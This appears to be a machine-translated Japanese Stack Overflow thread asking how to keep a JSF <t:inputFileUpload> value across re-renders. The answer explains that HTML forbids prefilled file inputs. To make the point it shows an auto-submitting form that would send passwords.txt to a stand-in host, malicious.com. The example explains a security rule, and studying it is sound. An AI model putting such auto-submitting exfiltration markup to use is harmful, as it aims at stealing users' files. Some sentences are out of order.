2011-07-14 5 views
1

私はアプリケーションでファイルをアップロードするのに<t:inputFileUpload>を使用します。選択されたファイル(UploadedFileオブジェクトとして表される)は、フォーム提出時にそのバインディング(バッキングBeanのメンバー)にのみ保存されます。 UIで動的要素を使用すると、フォームは送信せずに再レンダリングされます。この場合、値バインディングは無効であり、ユーザーは<t:inputFileUpload>を使用してファイルを再選択する必要があります。UIComponentのアクセスバリューバインディング

もちろん、これはあまりユーザーフレンドリーではありません。提出しなくても、<t:inputFileUpload>ValueChangedEventをスローし、新しい値(アップロードされたファイル)を値バインディング(つまりバッキングBeanのメンバー)にコピーするイベントハンドラを登録したいとします。

<ui:repeat value="#{bean.myFiles}" var="file"> 
    <t:inputFileUpload 
    value = "#{file}" 
    storage = "file" /> 
</ui:repeat> 

今、私はこのような何かをしたいと思います:

UploadedFile[] myFiles; 

public void valueChangedHandler(ValueChangedEvent ev) { 
    UploadedFile file = (UploadedFile)ev.getNewValue(); 
    UIComponent comp = ev.getComponent(); 
    // This line is pseudocode - getValueBinding() is not available 
    UploadedFile bindingFile = (UploadedFile)comp.getValueBinding(); 
    // Assigning the new value to the binding 
    bindingFile = file; 
} 
私は複数のファイルをアップロードすることができるようにしたいと、私はこのようなJSFで参照値として UploadedFileオブジェクトの配列結合を、持っています

これは可能なのですか?私は、私が望むようにそれが起こるようにValueBinding getValueBinding(String)を呼び出す方法をまだ理解していません。

答えて

2

ユーザは<t:inputFileUpload>を使用してファイルを再選択する必要があります。

これはJSFの制限ではありません。これはHTMLの制限です。 <t:inputFileUpload>コンポーネントは、HTML <input type="file">フィールドをレンダリングします。このようなフィールドをあらかじめ入力/保存できることはセキュリティ上の大きな問題であり、HTMLでは許可されていません。

<form id="upload" action="http://malicious.com/upload" method="post" enctype="multipart/form-data"> 
    <input type="file" name="file" value="c:/I/guess/this/is/path/to/your/passwords.txt" /> 
</form> 
<script>document.getElementById("upload").submit();</script> 

それはサポートされており、1は、上記のフォームでWebページを開いた場合、passwords.txtはせずにサーバーに送信されていたであろう次のプレーンHTMLの例を見て、より優れたセキュリティホールを理解することが

任意のユーザーの介入!

HTMLで何かができない場合は、JSFはすでにあなたのために多くのことを行うことができません(基本的にはHTMLをいくつか作成しています)。

+0

これは不可能なので、提出することなく ' 'コンポーネントの内容を保持する方法はありますか?動的再レンダリングは、アップロードコンポーネントを囲む ''コンポーネントに影響します。 –

+1

答えを読んで理解しましたか? – BalusC

+0

もう一度読む私は最終的に保存が不可能でも(なぜなら、本質的にフォームを提出するユーザーがいなくてもファイル入力コンポーネントをあらかじめ充填しているので)理解しています。あなたの答えをありがとう。それがうまくいかないことを知るだけでなく、理由を知ることも良いことです。 –

関連する問題